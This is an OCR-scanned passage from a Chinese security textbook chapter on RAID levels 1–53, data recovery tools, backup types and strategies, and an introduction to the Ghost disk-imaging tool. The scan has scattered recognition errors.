度 地 保证 系统 的 可 靠 性 和 可 修复 性 上 。 这 种 阵列 可 靠 性 很 高 ,但 其 有 效 容量 减 小 到 总 容量 
的 一 半 , 同 时 这 些 磁盘 的 大 小 应 该 相等 ,否则 总 容量 只 具有 最 小 磁盘 的 大 小 。 

RAID 1 中 每 一 个 磁盘 都 具有 一 个 对 应 的 镜像 盘 。 对 任何 一 个 磁盘 的 数据 写 人 都 会 被 
复制 到 镜像 盘 中 ,如 图 8-3 所 示 。RAID 1 是 所 有 RAID 等 级 中 实现 成 本 最 高 的 一 种 ,因为 
所 能 使 用 的 空间 只 是 所 有 磁盘 容量 总 和 的 一 半 。 尽 管 如 此 ,人 们 还 是 选择 RAID 1 来 保存 
那些 关键 性 的 重要 数据 。 


3. RAID 2( 带 海 明 码 校 验 ) 
RAID 2 5j RAID 3 类 似 , 两 者 都 是 将 数据 条 块 化 分 布 于 不 同 的 硬盘 上 ,条 块 单位 为 位 
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或 字 节 。 然 而 RAID 2 使 用 一 定 的 编码 技术 来 提供 错误 检查 及 恢复 ,这 种 编码 技术 需要 多 
个 磁盘 存放 检查 及 恢复 信息 ,使 得 RAID 2 技术 实施 更 复杂 。 因 此 ,在 商业 环境 中 很 少 使 
用 。 如 图 8-4 所 示 ,左边 的 各 个 磁盘 上 是 数据 的 各 个 位 ,由 一 个 数据 不 同 的 位 运算 得 到 的 海 
明 校 验 码 ,可 以 保存 到 另 一 组 磁盘 上 。 由 于 海 明 码 的 特点 , 它 可 以 在 数据 发 生 错 误 的 情况 下 
将 错误 校正 ,以 保证 输出 的 正确 性 。 
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图 8-4 RAID 2( 带 海 明 码 校 验 ) 


4. RAID 3( 带 奇偶 校 验 码 的 并 行 传送 ) 


RAID 3 是 以 一 个 硬盘 来 存放 数据 的 奇偶 校 验 位 ,数据 则 分 段 存 储 于 其 余 硬盘 中 。 它 
像 RAID 0 一 样 以 并 行 的 方式 来 存放 数据 ,但 速度 没有 RAID 0 快 。 如 果 数 据 盘 (物理 ) 损 
,只 要 将 坏 硬 盘 换 掉 ,RAID 控制 系统 则 会 根据 校 验 盘 的 数据 校 验 位 在 新 盘 中 重建 坏 盘 上 
的 数据 。 不 过 ,如 果 校 验 盘 (物理 ) 损 坏 的 话 , 则 全 部 数据 都 无 法 使 用 。 利 用 单独 的 校 验 盘 来 
保护 数据 虽然 没有 镜像 的 安全 性 高 ,但 是 硬盘 利用 率 得 到 了 很 大 的 提高 。 
例如 ,如 图 8-5 所 示 ,在 一 个 由 5 块 硬盘 构成 的 RAID 3 系统 中 ,4 块 硬盘 将 被 用 来 保存 
数据 ,第 5 块 硬盘 则 专门 用 于 校 验 。 第 5 块 硬盘 中 的 每 一 个 校 验 块 所 包含 的 都 是 其 他 4 块 
硬盘 中 对 应 数据 块 的 校 验 信息 。 
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图 8-5 RAID 3( 带 奇偶 校 验 码 的 并 行 传送 ) 


RAID 3 虽然 具有 容错 能 力 ,但 是 系统 会 受到 影响 。 当 一 块 磁盘 失效 时 ,该 磁盘 上 的 所 
有 数据 块 必须 使 用 校 验 信息 重新 建立 。 如 果 是 从 好 盘 中 读 取 数据 块 , 不 会 有 任何 变化 。 但 
是 如 果 所 要 读 取 的 数据 块 正好 位 于 已 经 损坏 的 磁盘 , 则 必须 同时 读 取 同 一 带 区 中 的 所 有 其 
他 数据 块 ,并 根据 校 验 值 重建 丢失 的 数据 。 
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当 更 换 了 损坏 的 磁盘 之 后 ,系统 必须 一 个 数据 块 一 个 数据 块 地 重建 坏 盘 中 的 数据 。 整 
个 过 程 包括 读 取 带 区 ,计算 丢失 的 数据 块 和 向 新 盘 写 人 新 的 数据 块 , 都 是 在 后 台 自 动 进行 
的 。 重 建 活动 最 好 是 在 RAID 系统 空闲 的 时 候 进行 ,否则 整个 系统 的 性 能 会 受到 严重 的 
影响 。 


5. RAID 4( 块 奇偶 校 验 阵列 ) 


与 RAID 3 类 似 , 所 不 同 的 是 ,RAID 4 对 数据 的 访问 是 按 数据 块 进行 的 , 即 按 磁 盘 进 
行 ,每 次 是 一 个 盘 。 数 据 是 以 扇 区 交错 方式 存储 于 各 台 磁 盘 ,也 称 为 块 间 搬 入 校 验 。 它 采用 
单独 奇偶 校 验 盘 ,如 图 8-6 所 示 。 
re ED ee ee cm 
block0 blockl block2 block3 P(0-3) 
block4 blocks block6 block7 | P(4-7) 
block8 block9 block10 block11 P(8-11) 
block12 block13 block14 block15 P(12-15) 


二 = 


图 8-6 RAID 4( 块 奇偶 校 验 阵列 ) 


6. RAID 5( 块 分 布 奇偶 校 验 阵列 ) 


与 RAID 4 类 似 ,但 RAID 5 校 验 数 据 不 固定 在 一 个 磁盘 上 ,而 是 循环 地 依次 分 布 在 不 
同 的 磁盘 上 ,也 称 为 块 间 插 入 分 布 校 验 。 它 是 目前 采用 最 多 、 最 流行 的 方式 ,至 少 需要 3 个 
硬盘 。 这 样 就 避免 了 RAID 4 中 出 现 的 瓶颈 问题 。 如 果 其 中 一 块 磁盘 出 现 故障 ,那么 由 于 
有 校 验 信息 ,所 以 所 有 数据 仍然 可 以 保持 不 变 。 如 果 可 以 使 用 备用 磁盘 ,那么 在 设备 出 现 故 
障 之 后 ,将 立即 开始 同步 数据 。 如 果 两 块 磁盘 同时 出 现 故 障 ,那么 所 有 数据 都 会 丢失 。 
RAID 5 可 以 经 受 一 块 磁盘 故障 ,但 不 能 经 受 两 块 或 多 块 磁盘 故障 。 

如 图 8-7 所 示 ,奇偶 校 验 码 存在 于 所 有 磁盘 上 ,其 中 的 Po 代表 第 0 带 区 的 奇偶 校 验 值 ， 
其 他 的 意思 也 相同 。RAID 5 的 读 出 效率 很 高 , 写 入 效率 一 般 , 块 式 的 集体 访问 效率 不 错 。 
因为 奇偶 校 验 码 在 不 同 的 磁盘 上 ,所 以 提高 了 可 靠 性 。 但 是 它 对 数据 传输 的 并 行 性 解决 不 
好 ,而 且 控 制 器 的 设计 也 相当 困难 。RAID 3 与 RAID 5 相 比 ,重要 的 区 别 在 于 RAID 3 每 
进行 一 次 数据 传输 , 需 涉及 所 有 的 阵列 盘 。 而 对 于 RAID 5 来 说 ,大 部 分 数据 传输 只 对 一 块 
磁盘 操作 ,可 进行 并 行 操作 。 
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图 8-7 RAID 5( 块 分 布 奇偶 校 验 阵列 ) 


计算 机 安全 技术 


7. RAID 6( 双 重 块 分 布 奇偶 校 验 阵列 ) 


RAID 6 是 在 RAID 5 基础 上 扩展 而 来 的 。 与 RAID 5 一 样 ,数据 和 校 验 码 都 是 被 分 成 
数据 块 ,然后 分 别 存储 到 磁盘 阵列 的 各 个 硬盘 上 。 只 是 RAID 6 中 增加 一 块 校 验 磁 盘 , 用 于 
备份 分 布 在 各 个 磁盘 上 的 校 验 码 ,如 图 8-8 所 示 ,这样 RAID 6 磁盘 阵列 就 允许 两 个 磁盘 同 
时 出 现 故 障 ,所 以 RAID 6 的 磁盘 阵列 最 少 需要 4 块 硬盘 。 
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图 8-8. RAID 6( 双 重 块 分 布 奇偶 校 验 阵列 ) 


8. RAID 0+ 1( 高 可 靠 性 与 高 效 磁盘 结构 ) 


JE RAID 0 ERA RAID 1 技术 结合 起 来 , 即 RAID 0 十 1。 它 具有 极 高 可 靠 性 的 高 性 能 
磁盘 阵列 。 它 将 两 组 磁盘 按照 RAID 0 的 形式 组 成 阵列 ,每 组 磁盘 按照 RAID 1 的 形式 实施 
容错 。 数 据 除 分 布 在 多 个 盘 上 外 ,每 个 盘 都 有 其 物理 镜像 盘 , 提 供 全 元 余 能 力 ,允许 一 个 以 
下 磁盘 故障 ,而 不 影响 数据 可 用 性 ,并 具有 快速 读 / 写 能 力 。 要 求 至 少 4 个 硬盘 才能 做 成 
RAID 0 十 1。 


9. RAID 53( 高 效 数据 传送 磁盘 结构 ) 


具有 高 输入 /输出 性 能 的 磁盘 阵列 。 将 两 组 磁盘 按照 RAID 0 的 形式 组 成 阵列 ,每 组 磁 
MEM RAID 3 的 形式 实施 容错 ,因此 它 速度 比较 快 ,也 有 容错 功能 。 但 价格 十 分 高 ,不 易 
于 实现 。 


8.1.3 数据 恢复 工具 


流行 的 数据 恢复 工具 有 : FinalData, EasyRecovery, DataExplore, R-Studio 和 Lost& Found。 
1. FinalData 

FinalData 在 数据 恢复 方面 功能 也 十 分 强大 ,恢复 速度 快 。 

2. EasyRecovery 


EasyRecovery 是 一 个 功能 强大 而 且 非 常 容易 使 用 的 老牌 数据 恢复 工具 , 它 可 以 快速 地 
找 回 被 误 删 除 的 文件 或 者 文件 夹 ,支持 FAT 和 NTFS 文件 系统 。 


3. DataExplore 


DataExplore 是 一 款 功 能 强大 ,提供 了 较 低 层次 恢复 功能 的 数据 恢复 软件 ,只 要 数据 没 
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有 被 覆盖 掉 ,文件 就 能 找 得 到 ,本 软件 无 须 安 装 ,解压 后 可 以 直接 运行 ,注意 不 要 在 待 恢 复 的 
分 区 上 运行 本 软件 。 本 软件 支持 FAT NTFS、EXT2 文件 系统 。 


4. R-Studio 
R-Studio 是 损坏 硬盘 上 资料 的 救星 。 
5. Lost&Found 


Lost& Found 是 出 品 Partition Magic 的 PowerQuest 公司 所 出 的 产品 ,是 一 套 专门 针 
对 因 病 毒 感染 、 意 外 格式 化 等 因素 所 导致 损失 的 硬盘 资料 恢复 工具 软件 ,该 工具 只 能 在 
DOS 下 使 用 。 


8.2 数据 备份 技术 


2001 年 9 月 11 日 ,世贸 双子 楼 倒塌 ,但 位 于 世贸 中 心 内 的 著名 财经 咨询 公司 摩根 斯 坦 
利 公司 在 灾后 第 二 天 就 进入 了 正常 的 工作 状态 ,在 危急 时 刻 公司 的 远程 数据 防 灾 系统 忠实 
地 工作 到 大 楼 倒塌 前 的 最 后 一 秒 钟 ,此 前 的 所 有 商务 资料 已 安全 地 备份 到 了 离世 贸 中 心 数 
干 米 之 遥 的 第 二 个 办 事 处 。 摩 根 斯 坦 利 公 司 的 数据 安全 战略 将 突 发 危机 的 不 利 影响 降 到 最 
低 程 度 。 据 美国 的 一 项 研究 报告 显示 ,在 灾害 之 后 ,如 果 无 法 在 14 天 内 恢复 业务 数据 ， 
75% 的 公司 业务 会 完全 停顿 ,43% 的 公司 再 也 无 法 重新 开业 ,20% 的 企业 将 在 两 年 之 内 宣告 
破产 。 美 国 Minnesota 大 学 的 研究 表明 ,遭遇 灾难 而 又 没有 恢复 计划 的 企业 ,60% 以 上 将 在 
2 一 3 年 后 退出 市 场 。 在 所 有 数据 安全 战略 中 ,数据 备份 是 最 基础 的 工作 。 


1. 数据 备份 的 必要 性 


数据 备份 是 为 了 尽 可 能 地 减少 损失 (时 间 上 、 精 神 上 和 金钱 上 等 的 损失 )。 日 常生 活 中 ， 
很 多 人 不 注意 备份 硬盘 上 的 数据 , 当 硬盘 损坏 或 计算 机 中 毒 ,丢失 了 大 量 重 要 文件 。 

因此 ,对 于 使 用 计算 机 的 人 来 说 ,一 定 要 未 雨 绸 缪 ,定期 备份 数据 。 下 面 列 出 了 备份 的 
对 象 : 个 人 资料 (文件 .照片 .录像 等 ) ,驱动 程 序 、 聊 天 记录 、 手 机 信息 、 整 个 硬盘 或 某 个 分 区 
等 。 可 以 将 数据 备份 到 硬盘 .移动 硬盘 光盘、U 盘 、 网 络 硬 盘 、 邮 箱 等 。 


2. 数据 备份 的 常用 方法 
数据 备份 的 常用 方法 有 : Ghost\ 杀 毒 软件 的 硬盘 数据 备份 ,硬盘 保护 卡 等 。 
3. 数据 备份 的 定义 


数据 备份 就 是 将 数据 以 某 种 方式 加 以 保留 ,以便 在 系统 遭受 破坏 或 其 他 特定 情况 下 , 重 
新 加 以 利用 的 一 个 过 程 。 

数据 备份 的 根本 目的 是 重新 利用 , 即 备 份 工作 的 核心 是 恢复 ,一 个 无 法 恢复 的 备份 ， 
对 任何 系统 来 说 都 是 毫 无 意义 的 。 一 个 成 熟 的 备份 系统 能 够 安全 、 方 便 而 又 高 效 地 恢复 
数据 。 

数据 备份 作为 存储 领域 的 一 个 重要 组 成 部 分 ,其 在 存储 系统 中 的 地 位 和 作用 都 是 不 容 
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忽视 的 。 对 一 个 完整 的 IT 系统 而 言 ,备份 工作 是 其 中 必 不 可 少 的 组 成 部 分 。 其 意义 不 仅 
在 于 防范 意外 事件 的 破坏 ,而 且 还 是 历史 数据 保存 归档 的 最 佳 方 式 。 换 言 之 ,即便 系统 正常 
工作 ,没有 任何 数据 丢失 或 破坏 发 生 , 备 份 工 作 仍 然 具 有 非常 大 的 意义 (为 用 户 进行 历史 数 
据 查询 ,统计 和 分 析 以 及 重要 信息 归档 保存 提供 了 可 能 )。 

简单 地 说 ,通过 数据 备份 ,一 个 存储 系统 乃至 整个 网 络 系统 ,完全 可 以 回 到 过 去 的 某 个 
时 间 状 态 , 或 者 重新 “克隆 ”一 个 指定 时 间 状 态 的 系统 ,只 要 在 这 个 时 间 点 上 ,有 一 个 完整 的 
系统 数据 备份 。 从 实质 上 来 说 ,数据 备份 是 指数 据 从 在 线 状态 剥离 到 离线 状态 的 过 程 ,这 与 
服务 器 高 可 用 集群 技术 以 及 远程 容 灾 技术 在 本 质 上 有 所 区 别 。 虽 然 从 目的 上 讲 , 这 些 技术 
都 是 为 了 消除 或 减弱 意外 事件 给 系统 带 来 的 影响 ,但 是 ,由 于 其 侧重 的 方向 不 同 , 实 现 的 手 
段 和 产生 的 效果 也 不 尽 相 同 。 集 群 和 容 灾 技 术 的 目的 是 为 了 保证 系统 的 可 用 性 。 也 就 是 
说 , 当 意外 发 生 时 ,系统 所 提供 的 服务 和 功能 不 会 因此 而 间断 。 对 数据 而 言 ,集群 和 容 灾 技 
术 是 保护 系统 的 在 线 状 态 ,保证 数据 可 以 随时 被 访问 。 备 份 技术 的 目的 是 将 整个 系统 的 数 
据 或 状态 保存 下 来 ,这 种 方式 不 仅 可 以 挽回 硬件 设备 损坏 带 来 的 损失 ,也 可 以 挽回 逻辑 错误 
和 人 为 恶意 破坏 的 损失 。 但 是 ,数据 备份 技术 并 不 保证 系统 的 实时 可 用 性 。 也 就 是 说 ,一 旦 
发 生意 外 ,备份 技术 只 保证 数据 可 以 恢复 ,但 是 恢复 过 程 需要 一 定 的 时 间 ,在 此 期 间 , 系 统 是 
不 可 用 的 。 在 具有 一 定 规模 的 系统 中 ,备份 技术 .集群 技 术 和 容 灾 技 术 互相 不 可 替代 ,并 且 
稳定 和 谐 地 配合 工作 ,共同 保证 着 系统 的 正常 运转 。 

在 系统 正常 工作 的 情况 下 ,数据 备份 工作 是 系统 的 “额外 负担 ”, 会 给 正常 业务 系统 带 来 
一 定性 能 和 功能 上 的 影响 ,所 以 数据 备份 系统 应 尽量 减少 这 种 “额外 负担 ”, 从 而 更 充分 地 保 
证 系统 正常 业务 的 高 效 运行 ,这 是 数据 备份 技术 发 展 过 程 中 要 解决 的 一 个 重要 问题 。 对 一 
个 相当 规模 的 系统 来 说 ,完全 自动 化 地 进行 备份 工作 是 对 备份 系统 的 一 个 基本 要 求 。 此 外 ， 
CPU 占用 、 磁 盘 空 间 占 用 、 网 络 带 宽 占 用 、 单 位 数据 量 的 备份 时 间 等 都 是 衡量 备份 系统 性 能 
的 重要 因素 。 备 份 系统 的 选择 和 优化 工作 是 一 个 至 关 重要 的 任务 ,一 个 好 的 备份 系统 应 该 
能 够 以 很 低 的 系统 资源 占用 率 和 很 少 的 网 络 带 宽 , 来 进行 自动 而 高 速度 的 数据 备份 。 


4. 数据 备份 技术 分 类 


(1) 按 备 份 的 数据 量 来 划分 

按 备份 的 数据 量 来 划分 有 完全 备份 、 差 量 备份 、 增 量 备 份 和 按 需 备份 。 

(D 完全 备份 (Full Backup)。 备 份 系统 中 的 所 有 数据 (包括 系统 和 数据 ) ,特点 是 备份 所 
需 的 时 间 最 长 ,但 恢复 时 间 最 短 ,操作 最 方便 也 最 可 靠 。 这 种 备份 方式 的 好 处 是 很 直观 , 容 
易 被 人 理解 ,而 且 当 发 生 数据 丢失 的 灾难 时 ,只 要 用 一 盘 磁带 ( 即 灾 难 发 生前 一 天 的 备份 磁 
带 ) ,就 可 以 恢复 丢失 的 数据 。 但 它 也 有 不 足 之 处 : 首先 ,由 于 每 天 都 对 系统 进行 完全 备份 ， 
因此 在 备份 数据 中 有 大 量 内 容 是 重复 的 ,如 操作 系统 与 应 用 程序 。 这 些 重复 的 数据 占用 了 
大 量 的 磁带 空间 ,这 对 用 户 来 说 就 意味 着 增加 成 本 ;其 次 ,由 于 需要 备份 的 数据 量 相当 大 , 因 
此 ,备份 所 需 时 间 较 长 。 对 于 那些 业务 繁忙 ,备份 时 间 有 限 的 单位 来 说 ,选择 这 种 备份 策略 
无 疑 是 不 明智 的 。 

© 3: ft 4&0) (Differential Backup)。 差 量 备份 只 备份 上 次 完全 备份 以 后 有 变化 的 数 
据 。 管 理 员 先 在 某 一 天 (比如 星期 一 ) 进 行 一 次 系统 完全 备份 ,然后 在 接 下 来 的 几 天 里 ,再 将 
当天 所 有 与 星期 一 不 同 的 数据 (增加 的 或 修改 的 ) 备 份 到 磁带 上 。 差 量 备份 无 须 每 天 都 做 系 
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统 完全 备份 ,因此 ,备份 所 需 时 间 短 ,并 节省 磁带 空间 , 它 的 灾难 恢复 也 很 方便 ,系统 管理 员 
只 需 两 盘 磁 带 , 即 系统 全 备份 的 磁带 与 发 生 灾 难 前 一 天 的 差 量 备份 磁带 ,就 可 以 将 系统 完全 
恢复 。 

一 般 来 说 , 差 量 备份 避免 了 完全 备份 与 增 量 备份 的 缺陷 ,又 具有 它们 的 优点 , 差 量 备份 
无 须 每 天 都 做 系统 完全 备份 ,并 且 灾难 恢复 也 很 方便 ,只 需 上 一 次 全 备份 磁带 和 灾难 发 生前 
一 天 的 差 量 磁带 ,因此 ,采用 完全 备份 结合 差 量 备份 的 方式 较为 适宜 。 

© 增 量 备份 (Incremental Backup)。 增 量 备 份 只 备份 上 次 备份 以 后 有 变化 的 数据 ,这 
种 备份 的 优点 是 没有 重复 的 备份 数据 ,占用 空间 较 少 ,缩短 了 备份 时 间 。 但 是 它 的 缺点 是 当 
发 生 灾难 时 ,恢复 数据 比较 麻烦 ,恢复 时 间 较 长 。 所 以 , 增 量 备份 比 差 量 备份 完成 得 要 快 一 
些 , 但 是 恢复 起 来 要 慢 一 些 。 

D 按 需 备份 。 按 需 备 份 根据 临时 需要 有 选择 地 进行 数据 备份 。 

备份 策略 就 是 确定 备份 内 容 、 备 份 时 间 与 备份 方式 等 ,在 实际 应 用 中 ,备份 策略 通常 是 
以 上 4 种 备份 方式 的 结合 ,例如 ,每 周一 至 周 六 进行 一 次 增 量 备 份 或 差 量 备 份 ,每 周 日 ,每 月 
底 和 每 年 底 进 行 一 次 全 备份 。 

(2) 按 备份 的 状态 来 划分 

按 备 份 的 状态 来 划分 有 物理 备份 和 逻辑 备份 。 

O 物理 备份 。 物 理 备份 是 指 将 实际 物理 数据 库 文 件 从 一 处 复制 到 另 一 处 的 备份 ,物理 
备份 又 包含 冷 备份 和 热 备份 。 

冷 备份 也 称 为 脱 机 备份 ,是 指 以 正常 方式 关闭 数据 库 ,并 对 数据 库 的 所 有 文件 进行 备 
份 。 其 缺点 是 需要 一 定 的 时 间 来 完成 ,在 恢复 期 间 , 用 户 无 法 访问 数据 库 , 而 且 这 种 方法 不 
易 做 到 实时 的 备份 。 

热 备份 也 称 为 联机 备份 ,是 指 在 数据 库 打 开 和 用 户 对 数据 库 进 行 操作 的 状态 下 进行 的 
备份 。 它 通过 使 用 数据 库 系 统 的 复制 服务 器 ,连接 正在 运行 的 主 数据 库 服务 器 和 热 备 份 服 
务 器 ,当主 数据 库 的 数据 修改 时 ,变化 的 数据 通过 复制 服务 器 可 以 传递 到 备份 数据 库 服 务 器 
中 ,保证 两 个 服务 器 中 的 数据 一 致 。 这 种 热 备份 方式 实际 上 是 一 种 实时 备份 ,两 个 数据 库 分 
别 运行 在 不 同 的 机 器 上 ,并 且 每 个 数据 库 都 写 到 不 同 的 数据 设备 中 。 

O 逻辑 备份 。 人 逻辑 备份 就 是 将 某 个 数据 库 的 记录 读 出 并 将 其 写 入 到 一 个 文件 中 ,这 是 
经 常 使 用 的 一 种 备份 方式 。MS SQL 和 Oracle 等 都 提供 Export/Import 工具 来 进行 数据 
库 的 逻辑 备份 。 

(3) 从 备份 的 层次 上 划分 

从 备份 的 层次 上 划分 ,可 分 为 硬件 元 余 和 软件 备份 。 硬 件 元 余 技术 有 双 机 元 余 、 磁 盘 双 
工 、 磁 盘 阵列 (RAID) 与 磁盘 镜像 等 多 种 形式 。 理 想 的 备份 系统 应 使 用 硬件 宛 余 来 防止 硬 
件 障 碍 ,使 用 软件 备份 和 硬件 元 余 相 结合 的 方式 来 解决 软件 故障 或 人 为 误 操 作 造 成 的 数据 
丢失 。 

(4) 从 备份 的 地 点 来 划分 

从 备份 的 地 点 来 划分 ,可 分 为 本 地 备份 和 异地 备份 。 


5. 数据 备份 系统 功能 要 求 
一 般 来 说 ,一 个 完善 的 备份 系统 ,应 该 具备 的 功能 见 表 8-3。 
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表 8-3 数据 备份 系统 功能 要 求 


原 则 说 明 

保护 性 全 面 保护 企业 的 数据 ,在 灾难 发 生 时 能 快速 可 靠 地 进行 数据 恢复 

稳定 性 备份 软件 一 定 要 与 操作 系统 完全 兼容 ,并 且 当 事故 发 生 时 能 够 快速 有 效 地 恢复 数据 
全 面 性 选用 的 备份 软件 要 能 支持 各 种 操作 系统 、 数 据 库 和 典型 应 用 


备份 方案 应 能 提供 定时 地 自动 备份 ,并 利用 磁带 库 等 技术 进行 自动 换 带 。 在 自动 备 
份 过程 中 ,还 要 有 日 志 记录 功能 ,并 在 出 现 异 常情 况 时 自动 报警 


高 性 能 设计 备份 时 要 尽量 考虑 提高 数据 备份 的 速度 ,采用 多 台 磁 带 机 并 行 操作 的 方法 
数据 备份 应 用 于 不 同 领域 ,进行 数据 备份 的 操作 人 员 水 平 参差 不 齐 , 这 就 需要 一 个 直 


操作 简单 | 观 、 操 作 简单 的 图 形 化 用 户 界面 
有 些 关 键 性 任务 需要 24 小 时 不 停机 运行 ,进行 备份 时 ,有 些 文件 可 能 仍 处 于 打开 状 
实时 性 态 。 在 这 种 情况 下 备份 ,必须 采取 措施 ,实时 查看 文件 大 小 、 进 行事 务 跟踪 ,以 保证 正 
确 地 备份 系统 中 的 所 有 文件 
数据 是 备份 在 磁带 上 的 ,要 对 磁带 进行 保护 ,并 确保 备份 磁带 中 数据 的 可 靠 性 ,这 是 
容错 性 一 个 至 关 重 要 的 方面 。 若 引信 (RAID) 技 术 对 磁带 进行 镜像 ,就 能 更 好 地 保证 数据 安 
全 可 靠 ,等 于 给 用 户 再 加 一 把 保险 镇 
auge | 和 从 最 大 的 忌讳 就 是 在 备份 过 程 中 国 介质 容量 的 不 足 而 更 换 介 质 ,这 梯 会 降低 备份 


数据 的 可 靠 性 与 完整 性 ,因此 要 求 存储 介质 能 够 进行 扩展 


6. 在 制定 或 规划 备份 策略 时 需要 考虑 的 因素 


(1) 选择 合适 的 备份 频率 。 

(2) 根据 数据 的 重要 性 可 选择 一 种 或 几 种 备份 交叉 的 形式 制定 备份 策略 。 

(3) 当 数据 库 比 较 小 ,或 者 当 数据 库 实时 性 不 强 或 者 是 只 读 的 时 , 则 备份 的 介质 可 采用 
磁盘 或 光盘 。 在 备份 策略 上 可 执行 每 天 一 次 数据 库 增 量 备 份 ,每 周 进行 一 次 完全 备份 。 备 
份 时 间 尽 量 选择 在 晚上 服务 器 比较 空闲 的 时 间 段 进行 ,备份 数据 保存 在 一 星期 以 上 。 

(4) 就 一 般 策 略 来 说 , 当 数 据 库 的 实时 性 要 求 较 强 ,或 数据 的 变化 较 多 而 数据 需要 长 期 
保存 时 , 则 备份 介质 可 采用 磁盘 或 磁带 。 在 备份 策略 上 可 选择 每 天 两 次 ,甚至 每 小 时 一 次 的 
数据 库 热 完 全 备份 或 事务 日 志 备 份 。 为 把 灾难 损失 减少 到 最 低 程 度 ,备份 数据 应 保存 一 个 
月 以 上 。 同 时 每 季度 或 每 半年 可 以 考虑 再 做 一 次 光盘 备份 。 另 外 ,每 当 数据 库 的 结构 发 生 
变化 或 进行 批量 数据 处 理 前 ,应 做 一 次 数据 库 的 完全 备份 , 且 这 个 备份 数据 要 长 期 保存 。 

(5) 当 实现 数据 库 文件 或 者 文件 组 备份 策略 时 ,应 时 常备 份 事务 日 志 。 当 巨大 的 数据 
库 分 布 在 多 个 文件 上 时 ,必须 使 用 这 种 策略 。 

(6) 备份 数据 的 保管 和 记录 是 防止 数据 丢失 的 另 一 个 重要 因素 。 这 将 避免 数据 备份 进 
度 的 混乱 ,应 清楚 记录 所 有 步骤 ,并 为 实施 备份 的 所 有 人 员 提 供 此 类 信息 :以免 发 生 问题 时 
束手无策 。 数 据 备份 与 关键 应 用 服务 器 最 好 是 分 散 保管 在 不 同 的 地 方 , 通 过 网 络 进行 数据 
备份 。 定 时 清洁 和 维护 磁带 机 或 光盘 。 把 磁带 和 光盘 放 在 合适 的 地 方 ,避免 磁带 和 光盘 放 
置 在 过 热 和 潮湿 环境 。 备份 的 磁带 和 光盘 最 好 只 许 网 络 管理 员 和 系统 管理 员 访 问 。 要 完 
整 清晰 地 做 好 备份 磁带 和 光盘 的 标签 。 
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7. 制订 备份 策略 应 考虑 的 问题 


(1) 存储 系统 容量 和 性 能 要 合适 。 

(2) 可 靠 性 ,高 性 能 和 可 用 性 。 

(3) 保护 已 有 投资 。 

(4) 不 能 重 硬 轻 软 ,而 应 软 硬 件 并 举 。 

(5) 不 要 过 分 依赖 异地 容 灾 中 心 ,还 应 该 将 数据 备份 到 最 终归 宿 ( 磁 带 、 光 盘 等 ) 。 
(6) 完善 的 管理 方法 。 


8.3 Ghost 


8.3.1 Ghost 概述 


1. Ghost 简介 


Ghost(General Hardware Oriented Software Transfer, 面 向 通用 型 硬件 的 软件 传送 器 ) 
软件 是 美国 赛 门 铁 克 公司 推出 的 一 款 出 色 的 用 于 系统 ,数据 备份 与 恢复 的 工具 ,支持 的 磁盘 
分 区 文件 系统 格式 包括 FAT.FAT32,NTFS,EXT2,EXT3 等 。 在 这 些 用 处 当中 ,数据 备份 
的 功能 得 到 极 高 频率 地 使 用 ,以 至 于 人 们 一 提起 Ghost 就 把 它 和 克隆 挂钩 ,往往 忽略 了 它 
其 他 的 一 些 功能 。 在 Windows 系统 广 为 流传 的 基础 上 ,为 避 开 Windows 安装 的 费时 和 困 
难 , 有 人 把 Ghost 的 备份 还 原 操作 流程 简化 成 批 处 理 菜 单 式 软件 打包 ,例如 一 键 Ghost — 
键 还 原 精 灵 等 ,使 得 它 的 操作 更 加 容易 ,进而 得 到 众多 人 门 者 的 喜爱 。 由 于 它 和 它 制 作 的 . 
gho 文件 连 为 一 体 的 Windows XP/VISTA/WIN 7 等 作品 被 爱好 者 研习 实验 ,Ghost 在 狭 
义 上 又 被 人 特 指 为 能 快速 安装 的 Windows 操作 系统 。 

Ghost 不 同 于 其 他 的 备份 软件 , 它 是 将 整个 硬盘 或 硬盘 的 一 个 分 区 作为 一 个 对 象 来 操 
作 , 可 以 将 对 象 打包 压缩 成 为 一 个 映 象 文件 (Image) ,在 需要 的 时 候 , 又 可 以 把 该 映 象 文件 
恢复 到 对 应 的 分 区 或 对 应 的 硬盘 中 。 

Ghost 的 功能 包括 两 个 硬盘 之 间 的 对 拷 、 两 个 硬盘 的 分 区 之 间 的 对 拷 、 两 台 计 算 机 硬盘 
之 间 的 对 拷 、 制 作 硬 盘 的 映 象 文件 等 ,用 的 比较 多 的 是 分 区 备份 功能 ,能 将 硬盘 的 一 个 分 区 
压缩 备份 成 映 象 文件 ,然后 存储 在 另 一 个 分 区 中 ,如 果 原 来 的 分 区 发 生 问题 ,可 以 用 备件 的 
映 象 文件 进行 恢复 。 基 于 此 ,可 以 利用 Ghost 来 备份 /恢复 系统 。 对 于 学 校 和 网 吧 ,使 用 
Ghost 软件 进行 硬盘 对 拷 可 迅速 方便 地 实现 系统 的 快速 安装 和 恢复 ,而 且 维护 起 来 也 比较 
容易 。 

Ghost 的 备份 还 原 是 以 硬盘 的 扇 区 为 单位 进行 的 ,也 就 是 说 ,可 以 将 一 个 硬盘 上 的 物理 信 
息 完整 复制 ,而 不 仅仅 是 数据 的 简单 复制 。Ghost 支持 将 分 区 或 硬盘 直接 备份 到 一 个 扩展 名 
为 . gho 的 文件 里 (. gho 的 文件 称 为 镜像 文件 ) ,也 支持 直接 备份 到 另 一 个 分 区 或 硬盘 里 。 

新 版 本 的 Ghost 包括 DOS 版 和 Windows 版 .DOS 版 只 能 在 DOS 环境 中 运行 。 
Windows 版 只 能 在 Windows 环境 中 和 运行。 不管 是 在 DOS 下 运行 Ghost(ghost. exe) 还 是 
在 Windows 下 运行 Ghost, 两 者 的 操作 界面 都 是 一 致 的 ,实现 相同 的 功能 ,但 是 在 Windows 
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下 运行 Ghost(Windows 版 Ghost) 时 不 能 恢复 Windows 操作 系统 所 在 的 分 区 ,因此 ,在 这 
种 情况 下 需要 在 DOS 下 运行 Ghost(DOS 版 Ghost) 。 由 于 DOS 的 高 稳定 性 ,并 且 在 纯 
DOS 环境 中 已 经 脱离 了 Windows 环境 ,所 以 ,建议 备份 Windows 操作 系统 时 使 用 DOS 版 
的 Ghost 软件 。 

由 于 Ghost 在 备份 还 原 时 是 按 扇 区 来 进行 复制 的 ,所 以 在 操作 时 一 定 要 小 心 , 不 要 把 
目标 盘 ( 分 区 ) 弄 错 了 ,不然 会 将 目标 盘 ( 分 区 ) 的 数据 全 部 抹 掉 ,所 以 一 定 要 细心 。 


2. Ghost 使 用 方案 


(1) 备份 系统 

完成 操作 系统 及 各 种 驱动 的 安装 后 ,将 常用 的 软件 (如 杀毒 软件 .媒体 播放 软件 Office 
